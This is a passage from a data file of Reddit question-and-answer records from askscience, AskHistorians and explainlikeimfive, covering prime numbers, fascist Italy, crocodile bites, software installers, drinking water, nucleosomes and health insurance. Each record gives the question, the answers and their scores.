bloke who was massive into conspiracy theories. I think he smoked too much weed tbh. Yeah, he told me that Neil Armstrong called his dad off a Motorola when he was on the moon.... Yeah, sure he did Chris. Sure he did. I\u2019ll never forgot that one. ", "Not from a cell tower, the towers signal goes sideways not upwards.", "Iirc voip was tested in space ", "Do astronauts have any issues with their phones physically functioning in space? I know helium kills iPhones, what does all the weirder stuff in space do to them?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["https://space.stackexchange.com/questions/12296/when-does-the-iss-have-a-loss-of-signal"], [], ["https://en.wikipedia.org/wiki/Submarine_communications_cable"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "46jv6i", "title": "Can you Find new prime numbers by multiplying all of the known prime numbers and adding 1?", "selftext": "Our teacher showed us the proof to that there is an infinate number of prime numbers by using Euclid's theorem. If you add 1 to the product of all known prime numbers is it garanteed to get a new prime number? And if so why are people still looking for new prime numbers?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46jv6i/can_you_find_new_prime_numbers_by_multiplying_all/", "answers": {"a_id": ["d05qxfx", "d05t9id", "d065oq5"], "score": [45, 18, 5], "text": ["If you multiply all known prime numbers and add 1, you won't necessarily obtain a new prime number. Another possibility is that you obtain a number that is the product of prime numbers that are all larger than the set of numbers you multiplied.\n\nAs an example: Suppose we consider 2, 3, 5, 7, 11, 13. If you multiply these and add 1, you obtain 30031, which is not prime, but rather the product of 59 and 509, both of which are prime numbers.\n\nSo the application of Euclid's Theorem is not a shortcut to finding new prime numbers. But it does guarantee that there are always more prime numbers to be found.\n\nSo why do people still look for prime numbers? Here it's not so much the destination that matters, as it is the journey. The efficient computation of prime numbers can have important applications in computer science (for example in encryption). Researchers that compute extremely large prime numbers aren't that interested in the actual number they find, but more in the methods used to find it.", "You've misunderstood Euclid's theorem, or your teacher hasn't taught it properly. \n\nIt states that given a finite list of primes there exists at least one additional prime not in the list. \n\nMultiply all these numbers together call this P and add 1 call this q = P + 1, now you have 2 outcomes. \n\n1. q is prime and problem is solved\n\n2. q is not prime, therefore there exists a prime factor,  p, that divides q.\n\nIf p was on our list, it would divide P AND q. This means that p divides the difference between P and q. q - P = P + 1 - P = 1.\n\nHowever,  p can't possibly divide 1, as 1 is not prime therefore p was never on our initial list of primes.", "That theorem is often stated in a confusing way. If there was a finite number of primes and you multiplied them all together and added one, it wouldn't be divisible by any primes and would therefore be prime. But if you only multiply some of the primes, it could just be divisible by a prime that's not on the list."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ab2f4t", "title": "Why did fascist Italy try so hard to give more rights to women, often going against the King's will ? Was it a political stunt or Mussolini truly cared about Womens' rights so much to go against the pre-fascist moralism of Italy ? Was social equality somewhat linked to fascist Futurism ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ab2f4t/why_did_fascist_italy_try_so_hard_to_give_more/", "answers": {"a_id": ["ecxdl6n"], "score": [3], "text": ["According to Alexander De Grand, Women Under Fascism\" in *The American Historical Review* 19 No. 4 (1976): 947-968,\n\n & #x200B;\n\n > Perhaps realizing that the vote was the single issue binding women of all political tendencies, Mussolini showed his tactical skill at disarming potential opposition. In a rapid shift he announced that the government would present a law giving the vote to women in local elections. He cleverly chose the congress of the International Alliance for Women's Suffrage, held in Rome in May 1923, as the occasion for the change in policy.3\" The same guarantee was repeated to fascist women. Within the party they were promised autonomy for their organizations and a role in the directing bodies of the provincial federations. *Despite these promises, women never received equal status for their organizations, which were relegated to a purely service position.32*   \n >   \n > Mussolini's assurances notwithstanding, *the reality of the new government's policy was a retreat from equality*. Giovanni Gentile, the minister of education, attempted to limit women teachers in predominantly male schools with the excuse that 'women do not have, nor will they ever have, either the moral or mental vigor to teach in those schools which formed the ruling class of the country '.3 In other areas of the state administration anti-feminism was the rule. (954-5, emphases added)\n\n & #x200B;\n\nSo, to answer your question directly, it was a political stunt that never had any intention of being realized."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8eda71", "title": "My son's history teacher said that Jesus was not the only miracle worker active in Palestine around 0 AD. Who were the others, and why do they not have a legacy similar to that of Jesus?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8eda71/my_sons_history_teacher_said_that_jesus_was_not/", "answers": {"a_id": ["dxufaqu", "dxuh6hy"], "score": [26, 395], "text": ["The top comment by u/bitparity in the following post provides some context on pre-Christian mysticism:\n\n_URL_0_\n\nYou could also check out Wendy Cotter's \"Miracles in Greco-Roman Antiquity: A Sourcebook.\"", "Obviously \"miracle worker\" is going to be a tough thing to prove historically, but I assume you're not asking about the historicity of Jesus' miracles or any other \"miracle workers\" of the time, and you're just asking if there are any other people around that time who had miracles attributed to them.\n\nThe answer is yes, but a more interesting thing to point out is that Jesus wasn't even the only miracle worker/contender to being messiah *referenced in the Bible.* The Bible has both Herod, and John the Baptist as characters in the narrative of Jesus, and both men were claimed by people to be the messiah/workers of miracles. \n\nHerod was famous because he was king, and built the Second Temple. That the messiah would be a king, or at least of the line of a king, was pretty much accepted by Pharisees and Sadducees alike (I don't know about the Essenes). In addition, his rebuilding of the temple was seen by many as a miracle, AND was one of the things many Jewish people took to be a sign that the messiah had either arrived or was near. \n\nJohn the Baptist was had a ministry not unlike that of Jesus, going around baptizing people in water, and many of those people would allegedly report spiritual experiences (at least in the Bible). The Bible also tells us that Herod had John the Baptist killed, and, in one narrative, that he was worried about having killed him because he believed John the Baptist actually *was* the messiah. \n\nI really recommend the first part of *[Christianity and Rabbinic Judaism](_URL_0_)* for the situation in Roman occupied Palestine around that time, and the varying claims to divinity in the region. John the Baptist and Herod weren't the only messiah contenders, just the only two to earn a mention in the Bible.\n\nAs to the second part of your question about legacy, it's hard to say. Neither Herod nor John the Baptist had a resurrection story floating around after their deaths, and Peter, Paul, and the other apostles were *really* good at spreading Jesus' story around, so that can account for part of it. That the Roman Empire eventually accepted Christianity and not some other movement born at the same time period certainly impacted the legacy of Jesus in the west after that point, but I don't think anyone can definitively point to one reason why Jesus' legacy is so prolific and the other messiah-contenders of the time faded to obscurity.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7eopjm/what_magical_and_other_mystical_traditions/"], ["https://www.amazon.com/Christianity-Rabbinic-Judaism-James-Charlesworth/dp/1935335529"]]}
{"q_id": "87jize", "title": "what is the difference between public accounting and private accounting?", "selftext": "Do they serve different industries or is it simply a different kind of company they are doing accounting/financial services for? Is there a difference in education/degrees for Public vs. Private?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/87jize/eli5_what_is_the_difference_between_public/", "answers": {"a_id": ["dwdbagh", "dwdbznp", "dwdgqss", "dwdhje6"], "score": [12, 4, 10, 5], "text": ["It's more who you work for and what you have in your head as your main goal.\n\nPrivate Accounting, you are there to protect the company you are working for, to ensure they remain within the law.\n\nPublic Accounting, you are making sure that other people are remaining within the law.\n\nThis is a VERY generalized view of it.", "Public accounting typically means you work for an accounting firm, like PWC, which does accounting and/or auditing services for their clients.  If you work at a firm like that, you are assigned clients and you work for those clients time they clients pay for your time.\n\nIn private accounting you work for a specific company, and you do the accounting work for that company. ", "I'm a controller for a private business. I oversee the accounting functions of all the financial sectors of the company, accounts payable, accts receivable, inventory, purchasing. Each month we have an accounting close where we add up all the beans in each bucket (g/l accounts) and look at it from twenty different angles, then post the score for that month. We do the same at year end. Then we have people from public accounting firms come in and audit our numbers from an outside perspective. The then report to our contractual partners that we are not cooking the books internally and our numbers are thought to be accurate. This is also reported to the State for contract purposes and to the bank who funds much of our equipment. I used to be a public accountant, didn't care for it. I would rather be involved in the day to day operations of a business.", "Certified public accountant (CPA) working for a Big 4 here. To be a CPA, you will need to pass a 4-part exam and other strict state requirements. In my opinion, Public accounting is more demanding with regard to hours. Busy season (January-April) may require you to work until 7, midnight, or even 2am depending on the firm and the engagement. A lot of people choose public because you learn more and the potential jobs after that are generally better. Another personal opinion: big clients tend to have better management and better budget, which might translate to better work hours and better quality of life. I\u2019m very happy where I\u2019m at but I know not everyone is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "aaa0nx", "title": "How did the Black Death affect the power dynamic between the Teutonic Order-States of Prussia  &  Livonia and Poland  &  Lithuania?", "selftext": "The BD struck the Baltic in the 1350\u2019s with Poland being *less* affected than the rest of Europe and a generation later the Order suffered a mortal defeat at Grunwald/Tannenberg. \n\nThe Order consistently fielded smaller armies but did the Black Death exacerbate this? Was the Order-State\u2019s economy damaged long/short term?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aaa0nx/how_did_the_black_death_affect_the_power_dynamic/", "answers": {"a_id": ["ecqghj6"], "score": [14], "text": ["Others will be better positioned to comment on the military aspect of your question, but it's simply not correct to suggest that Poland was less badly affected by the Black Death than other parts of Europe.\n\nI go into considerable detail about this [in a lengthy series of posts here](_URL_0_), but the bottom line is that the impact of the 1347-50 pandemic on Poland is unknowable, but was very likely greater than is generally thought, while there is no doubt that the country was very badly affected by a second outbreak of the disease that began in 1360. Overall, the best guess we can make, given the limitations of the sources, is that Poland was probably just as badly affected by plague in the second half of the 14th century as a whole as were the states of western Europe.\n\nAs for the lands further to the east \u2013 both Livonia and Lithuania \u2013 unfortunately practically nothing is known of how the Black Death impacted them. We know the pandemic hit Prussia from August 1349, and reached Livonia by 1351; Benedictow lists some of the towns where it is known to have raged, but again nothing resembling secure mortality rates can be extrapolated for Prussian territory.\n\nThe economic picture, while also murky, is just a little clearer. By increasing opportunities for the survivors at home, the Black Death does seem to have significantly limited what had been quite a substantial flow of emigrants to the territories to the east. Moreover, it's not unreasonable to suppose that the pandemic also lessened demand for wheat, which was the major export of the territories controlled by the Teutonic Knights. No figures survive to give us details. Neither the *Cambridge Economic History of Europe* nor Urban's military history deal with the problem in detail; the Cambridge volume states that it's scarcely possible to. A'Barrow, in his recent general work, does list economic problems among the reasons he gives for the decline in the order's fortunes from c.1400, though it is not at all clear that he has either done any significant analysis of the problem, or based his passage on any study that has, so this claim may be little more than another of the unproved assumptions that have long, uh, plagued this field.\n\nThe only other thing worth adding to this rather bleak picture is that, while Grunwald/Tannenberg was fought at a late date relative to all this (1410), population figures were a long way from recovering from the impact of the plague even then. The best estimates from the territories to the west where we have more detailed records suggest that, in England, for example, population peaked at somewhere between 4.5 - 5.75m in c.1345 and was still in the range of 2 - 2.5m in 1410.\n\n**Sources**\n\nStephen A'Barrow, *Death of a Nation: A New History of Germany* (2016)\n\nOle J Benedictow, *The Black Death, 1346-1353: The Complete History* (2004)\n\nMarian Malowist, \"The trade of Eastern Europe in the Later Middle Ages,\" in Postan and Miller (eds), *The Cambridge Economic History of Europe II: Trade and Industry in the Middle Ages* (1987)\n\nWilliam Urban, *The Teutonic Knights: A Military History* (2003)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/79dwua/why_did_poland_have_lower_rates_of_black_death/dp1tiok/"]]}
{"q_id": "axlo5y", "title": "how do we know that plastic takes 450 years to break down in the environment if we haven't lived so long to test it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axlo5y/eli5_how_do_we_know_that_plastic_takes_450_years/", "answers": {"a_id": ["ehuajhg", "ehucyho", "ehufu4s", "ehvjk6i"], "score": [60, 7, 7, 2], "text": ["Extrapolation. We look at a piece of plastic at X time intervals and take measurements, then apply that information to what we know about how things decay (Surface area vs volume, etc). The combination of the two gives us an approximation. It might not be 450 years, it might be 200 or 900. The point is more about the time scale over which the material will break down. Meaning that it's not going to just be a month or two like organic waste, but also not tens of thousands of years like radioactive waste. \n\n & #x200B;", "They take a piece of plastic and sees how much it degrades in 4 years (1%), so they calculate that to degrade 100% it would take 400 years.", "In addition to what others have said, you can also simulate things by amplifying the conditions found in the environment. E.g. if you want to test for UV degradation, put the sample under test under a UV lamp that gives it, say, ten thousand times as much UV light as sunlight would - and then just multiply the time it lasted by 10000 to get an estimate for how long until that specific plastic is broken down via UV radiation.", "Thank you very much for your comments. They we're really helpful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "292ibq", "title": "Crocodile bite strength is far higher than any other animal, over 5,000lb of bite force compared to 800lb bite force from a Great White. Yet you never see a crocodile outright bite something in half or at least fatally crush it. Why is that?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/292ibq/crocodile_bite_strength_is_far_higher_than_any/", "answers": {"a_id": ["cigssaz", "cigv6wv", "cigvg87", "cigyvq4", "cigzf36", "cih0r76", "cih1tjg", "cih1u2x", "cih3b6f", "cih3j64", "cih4vuv", "ciha9e6"], "score": [1375, 21, 117, 16, 5, 7, 3, 2, 2, 2, 4, 2], "text": ["Crocodile teeth are meant to capture and hold prey, not sever. When you pull a victim into brackish or muddy water, you want the whole thing, because a loss of a piece means you might not find it again. So yeah, the bite strength is meant to create severe internal trauma and snap the spinal cord but leave the body intact so that the meat remains fresh and whole but no longer poses a threat.  ", "What does it mean to say 5,000 lb bite force? is that spread over the whole mouth? For example, if he bites the thigh of a wildebeest, that's a lot of meat spreading the force over almost his whole mouth. Is it 5,000 lbs psi? Or something else?", "That force is measured at the back of the jaw between the teeth that are closest together. Imagine cracking a nut with the tip of a nutcracker,  it doesn't work as well as placing the nut near the joint where pressure is greater. That interesting fact about crocodiles and alligators is kind of misleading. ", "Most of what I would say has been explained by Carduus but there's also the fact that a Crocodiles mouth is long and flat and it doesn't actually have a lot of teeth. Plus its teeth and short and blunt.\nMeanwhile, a great whites mouth is short, angular with many, many sharp teeth which do an amazing job of ripping shit to shreds.\n\nThink about trying to pull something heavy yet soft. Would you want a pair of tongs that have a large surface area with small teeth or a pair of nail-clipper like tongs?", "It's a big difference in prey, for one.  Great Whites are used to attacking blubbery animals where they come from below and get a big mouthful of blubber or a relatively light-boned animal (the animals they attack are swimmers and don't have the big, dense weight-bearing bones that land animals have).  It's usually easy for them to take a huge bite out of something like that and from what I understand, when they make a mistake and attack a human (with the dense, weight-bearing long bones and no fat), they're as surprised as the human.\n\n\nWhat a crocodile usually gets first is a snout or a leg of some animal and then they have to pull it into the water and drown it.", "Think of how the force is being applied. A great white is swimming at high velocity and striking, cutting and ripping. The jaw may only have 800 lbs of force, but that 800lbs is already at the front of a truck.\n\nAlso, they want their prey to weaken, to bleed out and die and are okay with making multiple attacks. They can follow the blood trail to find it again.\n\nCrocs can't really chase their prey effectively. They are an aquatic animal preying on land animals. They need to abmush, to get dinner on the first try, and not have to chase the wounded animal onto land.\n\nSharks and crocs are two of the oldest examples of top predators that have gone virtually unchanged  for the longest periods of time. Great white body form is over 400 million years old. If more force conveyed an evolutionary advantage,  it would have happened during that period. Crocs aren't as old, but they are basically dinosaurs as far as preserved evolutionary structure is concerned. If they could spend less energy on bite strength, it would convey an advantage in their environment and it would have evolved over the last 40 million or so years.", "think of their teeth and mouths. A crocodiles mouth is like a bear trap, small spike like teeth closing fast and not letting go so it can drag you under water. A sharks mouth is more like a mouth of daggers that can chomp clean through things with the multitude of razor sharp blades.", "What makes you say a great white is only 800 lbs? Obviously it varies according to size of the specimen, but most current evidence is that large great whites can do thousands of pounds. \n\nSee: _URL_0_\n\n", "Great White teeth are meant to cut, thats why they can bite things in half. Crocodile teeth are meant to lock, hence the reason why their jaws slam shut with tremendous force, but aren't very good at opening. This is why people can hold a crocs mouth shut, because they are designed to grab and tear flesh.", "It's because of how they bite not their bite force. A shark especially a great white bites down and shakes side to side. The teeth have a serrated edge and therefore effectively saw through their prey while a crocodile bites down (sometimes death roll but not always). Pretty simple. The shark saws through flesh making jagged massive lacerations while the crocodile just creates puncture wounds", "It's all in the teeth. Sharks have teeth that are designed for cutting and tearing. They're serrated like a steak knife and do much the same. Sharks don't always get the chunk in one bite, they do have to bite more than once sometimes. \n\nCrocodiles have teeth designed for holding.  They're teeth a smooth but very pointed, so they don't cause as much damage when they enter flesh. Instead of biting off chunks to eat they drown the prey and tear smaller bits off my grabbing hold and rolling to tear away the meat. As for bones, they do get broken but it helps when the croc grabs at the right angle. ", "In evolutionary biology the main lesson learned is that selective pressure is placed upon organisms for successful procreation. In the case of crocs, they are fighting boney creatures that can escape them. So their bite is a trap. They do crush bones and have a death roll to help them. \nSharks, on the other hand, have teeth like knives where the slice chunks and can even project their jaws outward to snatch up prey. \n\nThey have different mechanisms and different approaches. Any videos you have seen where something survives is sheer luck. The crocs can't chew or cut through things, but make no mistake, they crush bones and rend flesh. \n\n_URL_1_  _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://onlinelibrary.wiley.com/doi/10.1111/j.1469-7998.2008.00494.x/abstract;jsessionid=00388F52EB9A8938BFF6953FD3C997FA.f04t04"], [], [], [], ["http://www.discovery.com/tv-shows/shark-week/videos/shark-bites-surfers-leg.htm", "http://www.youtube.com/watch?v=6ZhHHVsAnI4"]]}
{"q_id": "f8zlmy", "title": "what happens to the data from an install if i stop the install before it's complete?", "selftext": "I tried googling it, but I can't find any answers to this. Basically, if I am installing a game, for example, and it gets to 91% done, but then I have to stop the install because I need to go someplace and can't leave my computer on the whole time, what happens to that 91% downloaded/installed?\nDoes it stay, so I could finish the install later? Does it completely reset?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f8zlmy/eli5_what_happens_to_the_data_from_an_install_if/", "answers": {"a_id": ["fiovspe", "fipfkcm", "fipqbod", "fiq40ku", "fiom3gc", "fioomrk"], "score": [20, 6, 3, 2, 95, 189], "text": ["There's no one answer. The basics of it, however, is that an installer is just another program.  There are off the shelf varieties (\"InstallShield\") but most games have their own in-house installer.\n\nIn the old days (Windows 95), installers used to leave shit all over the computer (because, surprise! Windows required it to work like that!) and often did not clean themselves up either during a partial install or an uninstall. This meant files left in c:\\\\windows\\\\system32 and settings left in the Windows Registry.\n\nSince then, Microsoft has changed the rules a bit, telling software developers you don't need to put crap in the system32 and can leave it in your own folder, often whatever folder the application used under C:\\\\Program Files.\n\nAs for settings, well, the registry is still a mess, with programs still needing to add themselves to various parts for random functionality. An example of this is when you install a photo editor like _URL_0_, it registers itself as a program to open, say, gif files. When you right click on a gif, you can open it directly in that program right from that right click menu, which it did by adding a specific setting in the registry. If you know where to look, long-removed programs still probably leave their shit all over the registry.\n\nA well-made installer will keep track of what it did and when it is canceled mid-way or the program uninstalled, the installer will remove everything. That sometimes still isn't the case.\n\nBonus paragraph! You might have heard of the Windows Store. Programs on there are a special variety. Microsoft calls the technology used to make them \"Universal Windows Platform\". A UWP app is a self-contained program and are not *meant* to use the registry and can only access their own folder and a scant few other special-access folders on your computer. They are installed to C:\\\\Program Files\\\\WindowsApps and are intended to be mostly hidden from you. Uninstalling a UWP app should be just deleting its folder and maybe a few other things Windows should sort of automatically know about because the install points are all known locations, and not random shit all over the registry or your hard drive. This is because Windows itself is the installer, just like when you install an app on an iPhone or Android phone, and knows what it has to do.", "5yrOldAnswer:  When the install runs, it starts putting files where they are supposed to go.  If you stop that, depending on how good the installer is at its job, it can:\n\nA:  Clean up everything it did like it never happened and wait for you to run it again.\n\nB:  Remember what the last thing done was before you stopped it and pick up from there if you try again.", "Let's say you're setting up a pillow fort.  No one knows where it's located.  They can try searching for it room by room, but your house has 50 million rooms so that would take forever.  You told your friend Steve that he could tell anyone where the fort was once it was done, but you wouldn't tell him until you were done.  You start building the fort, but halfway, your mom calls you down for dinner and you never actually got to finish the fort.  Since you never finished the fort, Steve never learned of its location.  Half of it is still in some random room you picked, but no one will know where it's at unless they do the room by room search.\n\nBasically, data gets written to the hard drive and at the end of a completed write (\"install\"), there's an information \"table\" on the hard drive that gets updated with the location of that data so that when you double click PathOfExile.exe, the computer just goes to that \"table\" to get where the location is on the disk and then goes to that position on the disk.  If an install stops half way through, that \"table\" doesn't get updated with the location of the data.  The data still exist there, but it's not protected.  It can still be overwritten whereas the completed install of Path of Exile protects the location of wherever PathOfExile.exe points to so that nothing else can overwrite it.", "Slightly oversimplified but..., Depending on the type of installer used it usually gets rolled back. Meaning any changes made are undone. Think of every installer as an automated zip file with a program that places all the files and settings, and an uninstaller program that deletes them all when you remove it. If you dump the install, it calls the uninstall program.", "Depends on how the installer is coded. On Windows, an installer is just a computer program, and can work in pretty much any way it wants to.\n\nBased on personal experience, I would say in quite a few cases you'll end up with a partial install. Because undoing 91% of an install requires keeping track of exactly what has been done so far, and knowing how to undo it, and not nearly all installers do that.", "the downloaded files will usually be stored in a folder designated by the system as temporary storage*. Some installers will check for this already downloaded data and resume where you left off. Others (e.g. Origin client) simply start over from the beginning.\n\nThe install itself (copying files from temp storage, creating registry entries, etc.) will almost always have to be restarted from scratch simply because it's easier (for the programmer) to just make the necessary changes than it is to check what changes have been made already. \n\n\n\n*temporary storage just means the operating system is allowed to delete those files if it needs the space (some will even clear this area of old files on a regular basis)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["Paint.NET"], [], [], [], [], []]}
{"q_id": "96o5kg", "title": "difference in drinking distilled water and mineral water. how it affects your health?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96o5kg/eli5_difference_in_drinking_distilled_water_and/", "answers": {"a_id": ["e41xt96", "e42gpn4", "e42hgk1", "e42t4of", "e43kl8f"], "score": [48, 7, 3, 2, 2], "text": ["Distilled water doesn't contain minerals (and actually draws tiny amounts from your body), but you usually take in enough of them from the food you eat. Also it tastes blandly, and that's about it.\n\nSo if you're in a situation where you don't have access to bottled or safe tap water (or if for whatever reason you love its non-taste), you can drink distilled water instead.", "To hit your daily mineral needs with (mineral/table) water, you'd need to drink something like 14 liters (roughly one and a half buckets for the 'freedom lovers'). Which will kill you.\n\nMineral content in water is next to irrelevant.", "It doesn\u2019t. Some people like the flavor, but it\u2019s not going to fix your cold, much less give you super powers.", "Distilled water makes it *very slightly* easier for your kidneys to remove excess minerals from your body. ", "There really isn't any effect that you would notice; companies advertise health effects for their water because it makes money and no one's telling them they can't. \n\nIf you want minerals and nutrients, the traditional source for that is **FOOD**."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1r74bm", "title": "Any historians want to proof read a paper I'm working on due tomorrow morning? (Feudalism in Western Europe)", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1r74bm/any_historians_want_to_proof_read_a_paper_im/", "answers": {"a_id": ["cdk9nz3"], "score": [2], "text": ["I'm short on time, and this topic isn't my specialty, so I won't be able help, but I can tell you that you can also cross list this on /r/homeworkhelp, just in case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5psh2w", "title": "how can i imagine sounds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5psh2w/eli5_how_can_i_imagine_sounds/", "answers": {"a_id": ["dctget1"], "score": [2], "text": ["All sensory information is processed by your brain as a series of electro-chemical impulses. Basically, it writes the external stuff into an internal format. Because these signals are generated within the brain, you can re-activate the pathways created at will.\n\nInside your brain, it cannot tell the difference between the information gained from an external source, and the internal recreation. The exact same connections are supply the exact same information.\n\nThe more you hear a sound, the easier it gets to recall it, because the pathways have become 'deeper' or more permanent.\n\nNow, how exactly do we consciously recall information out of our extremely complicated brain? I have no idea. But that is what is happening when you do it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4xv2bw", "title": "Do Martian regolith simulants contain perchlorates?", "selftext": "NASA developed some [Martian regolith simulants](_URL_1_) to approximate the mechanical and chemical properties of the real stuff for experiments. It's even been used to test [if plants can grow in Martian regolith](_URL_2_). But:\n\n* The Martian surface [is 0.5% perchlorate](_URL_0_), on average. It gets as high as 0.8% in some places.\n* The simulants come from volcanic ash, and I can't find any mention of those ashes being naturally perchlorate rich or having perchlorates added after the fact.\n\nSo... do the simulants have perchlorates (naturally or artificially)? If not, how're they any good for simulating Martian \"soil\"?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4xv2bw/do_martian_regolith_simulants_contain_perchlorates/", "answers": {"a_id": ["d6irf7k"], "score": [4], "text": ["In general, no, they do not include perchlorates, and this is a valid criticism of the \"OMG we grew plants in the Martian soil!\" paper.\n\nThe soil analogue used in that work was JSC-MARS-1A. While [there are investigations that added their own perchlorates](_URL_0_) to JSC-MARS-1A, the plant-growing work did not include them. That said perchlorates are a salt, and with some considerable effort can be washed out of the soil."]}, "title_urls": [], "selftext_urls": ["http://www.space.com/21554-mars-toxic-perchlorate-chemicals.html", "https://en.wikipedia.org/wiki/Martian_regolith_simulant", "http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0103138"], "answers_urls": [["http://onlinelibrary.wiley.com/doi/10.1002/2016GL068919/full"]]}
{"q_id": "4dlz7c", "title": "what does the black lives matter movement actually want? what is it they want to accomplish?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dlz7c/eli5_what_does_the_black_lives_matter_movement/", "answers": {"a_id": ["d1s57wn", "d1s5g4m", "d1t90hk"], "score": [40, 9, 3], "text": ["There stated goal is to stop the killing of unarmed black men in cities and the suburbs.  Black lives matter thinks that there have been years of systematic oppression of black people by the police causing them to be unfairly arrested, profiled, and killed. They want to make sure that people stop dying and that police officers who kill people without cause go to jail.", "I'm not black, or a member of BLM, but from what I've seen, they want to:\n\nTo raise awareness of the killing of unarmed black men by police officers, as well as that blacks are treated differently than whites in similar situations involving the police.\n\nOnce more people are aware, they want to start a conversation on how we can change this.\n\n\nThat being said, like most grassroots groups, they are not organized and there are several messages coming out of the group.  Some messages even contradict other messages, similar to the OWS movement a few years ago.", "With their antics, it appears that their wish is make sure no one takes the problem of police brutality seriously. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1pgz63", "title": "What is a nucleosome and what does it do?", "selftext": "I haven't found an explaination simple enough for me to understand. To understand this I probably need to know what a chromatin is, but I don't understand those either. Thank you!  \nEdit: Thanks for all your answers, I do understand a little more about myself now. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1pgz63/what_is_a_nucleosome_and_what_does_it_do/", "answers": {"a_id": ["cd27v8k", "cd27yjk"], "score": [3, 11], "text": ["3rd year biology student here:\n\nThere is a huge amount of DNA in each of your cells and for various reasons (eg. for mitosis and for control of expression) it needs to be packaged up.\n\nThe most simplest unit of DNA packaging is the nucleosome. This is where the DNA is wrapped a couple of times around a histone octomer (a protein made from eight sub units).\n\nThis can be important for controlling expression - many epigenetic changes are made to histone proteins such as acetylation and methylation to make the DNA easier/harder to access.\n\nThere's likely to be a lot more to it than this - and this is probably an oversimplification, but these are the basics we're taught.", "A nucleosome is basically the packed structure of DNA and its associated proteins. [This](_URL_0_) picture shows it well enough. Chromatin is made up of nucleosomes, like beads on a string. The histones pack DNA tightly and when histones are acetylated, they are unwound, which enables transcription factors access to the DNA so they can transcribe genes to make proteins. When Chromatin is packed tightly (heterochromain), it is less accessible and regions in it cannot usually be transcribed. In contrast, less packed chromatin (euchromatin) is transcriptionally active and it can be transcribed. The nucleosome is just the complex of DNA wrapped around histones.\n\nEdit: Changed a word."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.accessexcellence.org/RC/VL/GG/images/nucleosome.gif"]]}
{"q_id": "adee6s", "title": "why do kids get taken off of their parent's insurance when they hit 25?", "selftext": "As I become more of an adult, and still trying to grasp the concept of being an adult (As well as the package of fear and anxiety), I just wanted to know why there is an age limit to insurance for a person's child? I'm currently 21 and my parents told me I should start getting all the check-ups I need and all the dental work needed before my insurance expires. I'm pretty spooked because why the f\\*\\*k am I getting kicked off of their insurance later in life?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/adee6s/eli5_why_do_kids_get_taken_off_of_their_parents/", "answers": {"a_id": ["edg7upc", "edg7zaj", "edg8plm", "edgdeef", "edi8g0r"], "score": [13, 4, 10, 4, 2], "text": ["Because insurance providers aren't legally mandated to allow those above 25-26 on their parent's plans, and they can make more money selling separate plans.", "BECAUSE YOU ARE AN ADULT! You parents can insure you now for a discount (family rate) because you were a child and this less likely (from an actuarial stand point) to incur cost. As you become an adult, you have adult costs.", "Because they are no longer children and no longer college age so there is no reason to allow them to function as a dependent. Until Obamacare was implemented the common cutoff was 18, but part of Obamacare was extending insurance policies for college students. ", "Well the main reason is because insurance companies can make more money off you having your own policy than they can from your parents having you in a joint policy.\n\nThe facts of life my man. These companies want to make the most money they can. And the government sort of intervenes to help young adults out by giving parents the ability to keep them on there for 4-6 yrs after high school......But it can't go on forever. \n\n(If parents could keep kids forever then everyone would have these discount family packages (with high rates) and insurance companies would still claim not be able to afford all the old people who use the  insurance the most.) \n\nReality is....medical coverage is too expensive.....drugs are too expensive and thus insurance is very expensive. But people want to live till their 90 yrs old - so they pay it. If they are ok with dying at 68 - they can just say fuck insurance and never go to the doctor. But if they get cancer or some shit.... they aren't going to find any insurance company that will cover them at that point.\n\nIf you really want to avoid this problem move to Europe or vote\\become active and support politicians who favor universal healthcare (different from and better than Obama care)\n", "It does not necessarily have to be that way, but consider that your parent's insurance would be more expensive without that provision. If workers in their 50s and 60s could include their adult children in the family plan, those children would be more likely to make claims because older people are more likely to have expensive medical problems. This is most true with the elderly, but even the difference between 25 and 35 is important. If the family plan is paying for the medical 